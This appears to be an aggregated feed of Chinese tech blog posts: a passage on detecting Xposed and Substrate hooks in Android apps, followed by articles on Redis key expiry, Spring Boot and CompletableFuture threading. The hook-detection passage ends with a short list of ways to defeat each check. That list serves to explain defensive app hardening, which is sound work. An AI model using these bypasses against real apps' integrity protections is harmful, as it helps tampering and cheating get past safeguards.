    public native static String getSecret(); 
}

基于上面的原理,检测的步骤如下:

  • 定位到应用的DEX文件
  • 枚举所有的class
  • 通过反射机制判断运行时不应该是native的方法

下面的Java展示了这个技巧。这里假设了应用本身没有通过JNI调用本地代码,大多数应用都不需要调用本地方法。不过如果有JNI调用的话,只需要把这些native方法添加到一个白名单中即可。理论上这个方法也可以用于检测Java库或者第三方库,不过需要把第三方库的native方法添加到一个白名单。检测代码如下:

for (ApplicationInfo applicationInfo : applicationInfoList) {
    if (applicationInfo.processName.equals("com.example.hookdetection")) {      
        Set classes = new HashSet();
        DexFile dex;
        try {
            dex = new DexFile(applicationInfo.sourceDir);
            Enumeration entries = dex.entries();
            while(entries.hasMoreElements()) {
                String entry = entries.nextElement();
                classes.add(entry);
            }
            dex.close();
        } 
        catch (IOException e) {
            Log.e("HookDetection", e.toString());
        }
        for(String className : classes) {
            if(className.startsWith("com.example.hookdetection")) {
                try {
                    Class clazz = HookDetection.class.forName(className);
                    for(Method method : clazz.getDeclaredMethods()) {
                        if(Modifier.isNative(method.getModifiers())){
                            Log.wtf("HookDetection", "Native function found (could be hooked by Substrate or Xposed): " + clazz.getCanonicalName() + "->" + method.getName());
                        }
                    }
                }
                catch(ClassNotFoundException e) {
                    Log.wtf("HookDetection", e.toString());
                }
            }
        }
    }
}

0x04 通过/proc/[pid]/maps检测可疑的共享对象或者JAR


/proc/[pid]/maps记录了内存映射的区域和访问权限,首先查看Android应用的映像,第一列是起始地址和结束地址,第六列是映射文件的路径。

#cat /proc/5584/maps

40027000-4002c000 r-xp 00000000 103:06 2114      /system/bin/app_process
4002c000-4002d000 r--p 00004000 103:06 2114      /system/bin/app_process
4002d000-4002e000 rw-p 00005000 103:06 2114      /system/bin/app_process
4002e000-4003d000 r-xp 00000000 103:06 246       /system/bin/linker
4003d000-4003e000 r--p 0000e000 103:06 246       /system/bin/linker
4003e000-4003f000 rw-p 0000f000 103:06 246       /system/bin/linker
4003f000-40042000 rw-p 00000000 00:00 0 
40042000-40043000 r--p 00000000 00:00 0 
40043000-40044000 rw-p 00000000 00:00 0 
40044000-40047000 r-xp 00000000 103:06 1176      /system/lib/libNimsWrap.so
40047000-40048000 r--p 00002000 103:06 1176      /system/lib/libNimsWrap.so
40048000-40049000 rw-p 00003000 103:06 1176      /system/lib/libNimsWrap.so
40049000-40091000 r-xp 00000000 103:06 1237      /system/lib/libc.so
... Lots of other memory regions here ...

因此可以写代码检测加载到当前内存区域中的可疑文件:

try {
    Set libraries = new HashSet();
    String mapsFilename = "/proc/" + android.os.Process.myPid() + "/maps";
    BufferedReader reader = new BufferedReader(new FileReader(mapsFilename));
    String line;
    while((line = reader.readLine()) != null) {
        if (line.endsWith(".so") || line.endsWith(".jar")) {
            int n = line.lastIndexOf(" ");
            libraries.add(line.substring(n + 1));
        }
    }
    for (String library : libraries) {
        if(library.contains("com.saurik.substrate")) {
            Log.wtf("HookDetection", "Substrate shared object found: " + library);
        }
        if(library.contains("XposedBridge.jar")) {
            Log.wtf("HookDetection", "Xposed JAR found: " + library);
        }
    }
    reader.close();
}
catch (Exception e) {
    Log.wtf("HookDetection", e.toString());
}

Substrate会用到几个so:

Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidBootstrap0.so
Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidCydia.cy.so
Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libDalvikLoader.cy.so
Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libsubstrate.so
Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libsubstrate-dvm.so
Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidLoader.so

Xposed会用到一个Jar:

Xposed JAR found: /data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar

0x05 绕过检测的方法


上面讨论了几个anti-hooking的方法,不过相信也会有人提出绕过的方法,这里对应每个检测方法如下:

  • hook PackageManager的getInstalledApplications,把Xposed或者Substrate的包名去掉
  • hook Exception的getStackTrace,把自己的方法去掉
  • hook getModifiers,把flag改成看起来不是native
  • hook 打开的文件的操作,返回/dev/null或者修改的map文件

Redis 缓存失效机制

$
0
0

Redis缓存失效的故事要从EXPIRE这个命令说起,EXPIRE允许用户为某个key指定超时时间,当超过这个时间之后key对应的值会被清除,这篇文章主要在分析Redis源码的基础上站在Redis设计者的角度去思考Redis缓存失效的相关问题。

Redis缓存失效机制

Redis缓存失效机制是为应对缓存应用的一种很常见的场景而设计的,讲个场景:

我们为了减轻后端数据库的压力,很开心的借助Redis服务把变化频率不是很高的数据从DB load出来放入了缓存,因此之后的一段时间内我们都可以直接从缓存上拿数据,然而我们又希望一段时间之后,我们再重新的从DB load出当前的数据放入缓存,这个事情怎么做呢?

问题提出来了,这个问题怎么解决呢?好吧,我们对于手头的语言工具很熟悉,坚信可以很快的写出这么一段逻辑:我们记录上次从db load数据的时间,然后每次响应服务的时候都去判断时间是不是过期了,要不要从db重新load了……。当然这种方法也是可以的,然而当我们查阅Redis command document的时候,发现我们做了本来不需要做的事情,Redis本身提供这种机制,我们只要借助EXPIRE命令就可以轻松的搞定这件事情:

EXPIRE key 30

上面的命令即为key设置30秒的过期时间,超过这个时间,我们应该就访问不到这个值了,到此为止我们大概明白了什么是缓存失效机制以及缓存失效机制的一些应用场景,接下来我们继续深入探究这个问题,Redis缓存失效机制是如何实现的呢?

延迟失效机制

延迟失效机制即当客户端请求操作某个key的时候,Redis会对客户端请求操作的key进行有效期检查,如果key过期才进行相应的处理,延迟失效机制也叫消极失效机制。我们看看t_string组件下面对get请求处理的服务端端执行堆栈:

getCommand 
     -> getGenericCommand 
            -> lookupKeyReadOrReply 
                   -> lookupKeyRead 
                         -> expireIfNeeded

关键的地方是expireIfNeed,Redis对key的get操作之前会判断key关联的值是否失效,这里先插入一个小插曲,我们看看Redis中实际存储值的地方是什么样子的:

typedef struct redisDb {
    dict *dict;                 /* The keyspace for this DB */
    dict *expires;              /* Timeout of keys with a timeout set */
    dict *blocking_keys;        /* Keys with clients waiting for data (BLPOP) */
    dict *ready_keys;           /* Blocked keys that received a PUSH */
    dict *watched_keys;         /* WATCHED keys for MULTI/EXEC CAS */
    int id;
    long long avg_ttl;          /* Average TTL, just for stats */
} redisDb;

上面是Redis中定义的一个结构体,dict是一个Redis实现的一个字典,也就是每个DB会包括上面的五个字段,我们这里只关心两个字典,一个是dict,一个是expires:

  1. dict是用来存储正常数据的,比如我们执行了set key “hahaha”,这个数据就存储在dict中。
  2. expires使用来存储关联了过期时间的key的,比如我们在上面的基础之上有执行的expire key 1,这个时候就会在expires中添加一条记录。

回过头来看看expireIfNeeded的流程,大致如下:

  1. 从expires中查找key的过期时间,如果不存在说明对应key没有设置过期时间,直接返回。
  2. 如果是slave机器,则直接返回,因为Redis为了保证数据一致性且实现简单,将缓存失效的主动权交给Master机器,slave机器没有权限将key失效。
  3. 如果当前是Master机器,且key过期,则master会做两件重要的事情:1)将删除命令写入AOF文件。2)通知Slave当前key失效,可以删除了。
  4. master从本地的字典中将key对于的值删除。

主动失效机制

主动失效机制也叫积极失效机制,即服务端定时的去检查失效的缓存,如果失效则进行相应的操作。

我们都知道Redis是单线程的,基于事件驱动的,Redis中有个EventLoop,EventLoop负责对两类事件进行处理:

  1. 一类是IO事件,这类事件是从底层的多路复用器分离出来的。
  2. 一类是定时事件,这类事件主要用来事件对某个任务的定时执行。

看起来Redis的EventLoop和Netty以及JavaScript的EventLoop功能设计的大概类似,一方面对网络I/O事件处理,一方面还可以做一些小任务。

为什么讲到Redis的单线程模型,因为Redis的主动失效机制逻辑是被当做一个定时任务来由主线程执行的,相关代码如下:

if(aeCreateTimeEvent(server.el, 1, serverCron, NULL, NULL) == AE_ERR) {
        redisPanic("Can't create the serverCron time event.");
        exit(1);
    }

serverCron就是这个定时任务的函数指针,adCreateTimeEvent将serverCron任务注册到EventLoop上面,并设置初始的执行时间是1毫秒之后。接下来,我们想知道的东西都在serverCron里面了。serverCron做的事情有点多,我们只关心和本篇内容相关的部分,也就是缓存失效是怎么实现的,我认为看代码做什么事情,调用堆栈还是比较直观的:

aeProcessEvents
    ->processTimeEvents
        ->serverCron 
             -> databasesCron 
                   -> activeExpireCycle 
                           -> activeExpireCycleTryExpire

EventLoop通过对定时任务的处理,触发对serverCron逻辑的执行,最终之执行key过期处理的逻辑,值得一提的是,activeExpireCycle逻辑只能由master来做。

遗留问题

Redis对缓存失效的处理机制大概分为两种,一种是客户端访问key的时候消极的处理,一种是主线程定期的积极地去执行缓存失效清理逻辑,上面文章对于一些细节还没有展开介绍,但是对于Redis缓存失效实现机制这个话题,本文留下几个问题:

  1. Redis缓存失效逻辑为什么只有master才能操作?
  2. 上面提到如果客户端访问的是slave,slave并不会清理失效缓存,那么这次客户端岂不是获取了失效的缓存?
  3. 上面介绍的两种缓存失效机制各有什么优缺点?Redis设计者为什么这么设计?
  4. 服务端对客户端的请求处理是单线程的,单线程又要去处理失效的缓存,是不是会影响Redis本身的服务能力?

参考文献

《Redis源码》

Redis 缓存失效机制,首发于 文章 - 伯乐在线

值得使用的Spring Boot

$
0
0

2013年12月12日,Spring发布了4.0版本。这个本来只是作为Java平台上的控制反转容器的库,经过将近10年的发展已经成为了一个巨无霸产品。不过其依靠良好的分层设计,每个功能模块都能保持较好的独立性,是Java平台不可多得的好用的开源应用程序框架。 Spring的4.0版本可以说是一个重大的更新,其全面支持Java8,并且对Groovy语言也有良好的支持。另外引入了非常多的新项目,比如Spring boot,Spring Cloud,Spring WebSocket等。

Spring由于其繁琐的配置,一度被人成为“配置地狱”,各种XML、Annotation配置,让人眼花缭乱,而且如果出错了也很难找出原因。Spring Boot项目就是为了解决配置繁琐的问题,最大化的实现convention over configuration(约定大于配置)。熟悉Ruby On Rails(ROR框架的程序员都知道,借助于ROR的脚手架工具只需简单的几步即可建立起一个Web应用程序。而Spring Boot就相当于Java平台上的ROR。

Spring Boot的特性有以下几条:

  • 创建独立Spring应用程序
  • 嵌入式Tomcat,Jetty容器,无需部署WAR包
  • 简化Maven及Gradle配置
  • 尽可能的自动化配置Spring
  • 直接植入产品环境下的实用功能,比如度量指标、健康检查及扩展配置等
  • 无需代码生成及XML配置

目前Spring Boot的版本为1.2.3,需要Java7及Spring Framework4.1.5以上的支持。如果想在Java6下使用它,需要一些额外的设置。

如果你想创建一个基于Spring的Web应用,只是简单的在页面中输出一个’Hello World’,按照之前的老方式,你需要创建以下文件:

  • web.xml : 配置使用Spring servlet,以及web其它配置;
  • spring-servlet.xml:配置Spring servlet的配置;
  • HelloController.java: controller。

如果你想运行它的话,需要将生成的WAR包部署到相应的Tomcat或者Jetty容器中才行,这也需要相应的配置。

如果使用Spring Boot的话,我们只需要创建HelloController.java。

HelloController.java
package hello;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

@Controller
@EnableAutoConfiguration
public class HelloController {

    @RequestMapping("/")
    @ResponseBody
    String home() {
        return "Hello World!";
    }

    public static void main(String[] args) throws Exception {
        SpringApplication.run(HelloController.class, args);
    }
}

然后借助于Spring Boot为Maven和Gradle提供的插件来生成Jar包以后直接运行java -jar即可,简单易用。

上面提过Spring Boot对Maven及Gradle等构建工具支持力度非常大。其内置一个’Starter POM’,对项目构建进行了高度封装,最大化简化项目构建的配置。另外对Maven和Gradle都有相应的插件,打包、运行无需编写额外的脚本。

Spring Boot不止对web应用程序做了简化,还提供一系列的依赖包来把其它一些工作做成开箱即用。下面列出了几个经典的Spring Boot依赖库。

  • spring-boot-starter-web:支持全栈web开发,里面包括了Tomcat和Spring-webmvc。
  • spring-boot-starter-mail:提供对javax.mail的支持.
  • spring-boot-starter-ws: 提供对Spring Web Services的支持
  • spring-boot-starter-test:提供对常用测试框架的支持,包括JUnit,Hamcrest以及Mockito等。
  • spring-boot-starter-actuator:支持产品环境下的一些功能,比如指标度量及监控等。
  • spring-boot-starter-jetty:支持jetty容器。
  • spring-boot-starter-log4j:引入默认的log框架(logback)

Spring Boot提供的starter比这个要多,详情请参阅文档: Starter POMs章节。

如果你不喜欢Maven或Gradle,Spring提供了CLI(Command Line Interface)来开发运行Spring应用程序。你可以使用它来运行Groovy脚本,甚至编写自定义命令。安装Spring CLI有多种方法,具体请看: 安装Spring Boot Cli章节。

安装完毕以后可以运行  srping version来查看当前版本。

你可以使用Groovy编写一个Controller。

hello.groovy
@RestController
class WebApplication {

    @RequestMapping("/")
    String home() {"Hello World!"
    }

}

然后使用 spring run hello.groovy来直接运行它。访问localhost:8080即可看到打印的信息。

Spring Boot提供的功能还有很多,比如对MVC的支持、外部Properties的注入,日志框架的支持等。这里就不详述了。感兴趣的可以查看其 文档来获取详细的信息。

如果你想在你的项目中使用Spring,那么最好把Spring Boot设为标配,因为它真的很方面开发,不过你也需要仔细阅读它的文档,避免不知不觉掉入坑中。

可能感兴趣的文章

哪个线程执行 CompletableFuture’s tasks 和 callbacks?

$
0
0

CompletableFuture尽管在2014年的三月随着Java8被提出来,但它现在仍然是一种相对较新潮的概念。但也许这个类不为人所熟知是好事,因为它很容易被滥用,特别是涉及到使用线程和线程池的时候。而这篇文章的目的就是要描述线程是怎样使用 CompletableFuture的。

Running tasks

这是API的基础部分,它有一个很实用的supplyAsync()方法,这个方法和ExecutorService.submit()很像,但不同的是返回CompletableFuture:

CompletableFuture.supplyAsync(() -> {
            try (InputStream is = new URL("http://www.nurkiewicz.com").openStream()) {
                log.info("Downloading");
                return IOUtils.toString(is, StandardCharsets.UTF_8);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        });

问题是supplyAsync()默认使用  ForkJoinPool.commonPool(),线程池由所有的CompletableFutures分享,所有的并行流和所有的应用都部署在同一个虚拟机上(如果你很不幸的仍在使用有很多人工部署的应用服务器)。这种硬编码的,不可配置的线程池完全超出了我们的控制,很难去监测和度量。因此你应该指定你自己的Executor,就像这里(也可以看看这里 几种创造这样Exetutor的方法):

ExecutorService pool = Executors.newFixedThreadPool(10);

final CompletableFuture future =
        CompletableFuture.supplyAsync(() -> {
            //...
        }, pool);

这仅仅是开始…

Callbacks and transformations

假如你想转换给定的CompletableFuture,例如提取String的长度:

CompletableFuture intFuture =
    future.thenApply(s -> s.length());

那么是谁调用了 s.length()?坦白点,我一点也不在乎。只要涉及到lambda表达式,那么所有的执行者像thenApply这样的就是廉价的,我们并不关心是谁调用了lambda表达式。但如果这样的表达式会占用一点点的CPU来完成阻塞的网络通信那又会如何呢?

首先默认情况下会发生什么?试想一下:我们有一个返回String类型的后台任务,当结果完成时我们想要异步地去执行特定的变换。最容易的实现方法是通过包装一个原始的任务(返回String),任务完成时截获它。当内部的task结束后,回调就开始执行,执行变换和返回改进的值。就像有一个面介于我们的代码和初始的计算结果之间(个人看法:这里指的是下面的future里面包含的task执行完毕返回结果s,然后立马执行callback也就是thenApply里面的lambda表达式,这也就是为什么作者说有一个面位于初始计算结果和回调执行代码之间)。那就是说这应该相当明显了,s.length()的变换会在和执行原始任务相同的线程里完成,哈?并不完全是这样!(这里指的是有时候变换的线程和执行原始任务的线程不是同一个线程,看下面就知道)

CompletableFuture future =
        CompletableFuture.supplyAsync(() -> {
            sleepSeconds(2);
            return "ABC";
        }, pool);

future.thenApply(s -> {
    log.info("First transformation");
    return s.length();
});

future.get();
pool.shutdownNow();
pool.awaitTermination(1, TimeUnit.MINUTES);

future.thenApply(s -> {
    log.info("Second transformation");
    return s.length();
});

如果future里面的task还在运行,那么包含first transformation的 thenApply()就会一直处于挂起状态。而这个task完成后thenApply()会立即执行,执行的线程和执行task的线程是同一个。然而在注册第二次变换之前(也就是执行第二个thenApply()),我们将一直等待直到task完成(和第一个变换是一样的,都需要等待)。更坏的情况是,我们完全地关闭了线程池,保证其他的代码将不会执行。那么哪个线程将要执行二次变换呢?我们都知道当注册了callback的future完成时,二次变换必定会立刻执行。这就是说它是使用默认的主线程(来完成callback),上面的代码输出如下:

pool-1-thread-1 | First transformation      main | Second transformation

二次变换在注册的时候就意识到CompletableFuture已经完成了(指的是future里面的task已经返回结果,其实在第一次调用thenApply()之前就已经返回了,所以这一次不用等待task),因此它立刻执行了变换。由于此时已经没有其他的线程,所以thenApply()就只能在当前的main线程环境中被调用。最主要的原因还是因为这种行为机制在实际的变换成本很高时(如很耗时)很容易出错。想象一下thenApply()内部的lambda表达式在进行一些繁重的计算或者阻塞的网络调用,突然我们的异步  CompletableFuture阻塞了调用者线程!

Controlling callback’s thread pool

有两种技术去控制执行回调和变换的线程,需要注意的是这些方法仅仅适用你的变换需要很高成本的时候,其他情况下可以忽略。那么第一个方法可以选择使用操作者的  *Async方法,例如:

future.thenApplyAsync(s -> {
    log.info("Second transformation");
    return s.length();
});

这一次second transformation被自动地卸载到了我们的老朋友线程ForkJoinPool.commonPool()中去了:

pool-1-thread-1                  | First transformation
ForkJoinPool.commonPool-worker-1 | Second transformation

但我们并不喜欢commonPool,所以我们提供自己的:

future.thenApplyAsync(s -> {
    log.info("Second transformation");
    return s.length();
}, pool2);

注意到这里使用的是不同的线程池(pool-1 vs. pool-2):

pool-1-thread-1 | First transformation
pool-2-thread-1 | Second transformation

Treating callback like another computation step

我相信如果你在处理一些长时间运行的callbacks和transformations上有些麻烦(记住这篇文章同样也适用于CompletableFuture的其他大部分方法),你应该简单地使用其他表意明确的CompletableFuture,就像这样:

//Imagine this is slow and costly
CompletableFuture<Integer> strLen(String s) {
    return CompletableFuture.supplyAsync(
            () -> s.length(),
            pool2);
}

//...

CompletableFuture<Integer> intFuture =
        future.thenCompose(s -> strLen(s));

这种方法更加明确,知道我们的变换有很大的开销,我们不会将它运行在一些随意的不可控的线程上。取而代之的是我们会将String到CompletableFuture<Integer>的变换封装为一个异步操作。然而,我们必须用thenCompose()取代thenApply(),否则的话我们会得到CompletableFuture<CompletableFuture<Integer>>.

但如果我们的transformation 没有一个能够很好地处理嵌套CompletableFuture的形式怎么办,如applyToEither()会等待第一个 Future完成然后执行transformation.

CompletableFuture<CompletableFuture<Integer>> poor =
        future1.applyToEither(future2, s -> strLen(s));

这里有个很实用的技巧,用来“展开”这类难以理解的数据结构,这种技巧叫flatten,通过使用 flatMap(identity) (or  flatMap(x -> x))。在我们的例子中flatMap()就叫做thenCompose:

CompletableFuture<Integer> good =
        poor.thenCompose(x -> x);

我把它留给你,去弄懂它是怎样和为什么这样工作的。我想这篇文章已经尽量清楚地阐述了线程是如何参与到CompletableFuture中去的。

相关文章

Viewing all 330 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>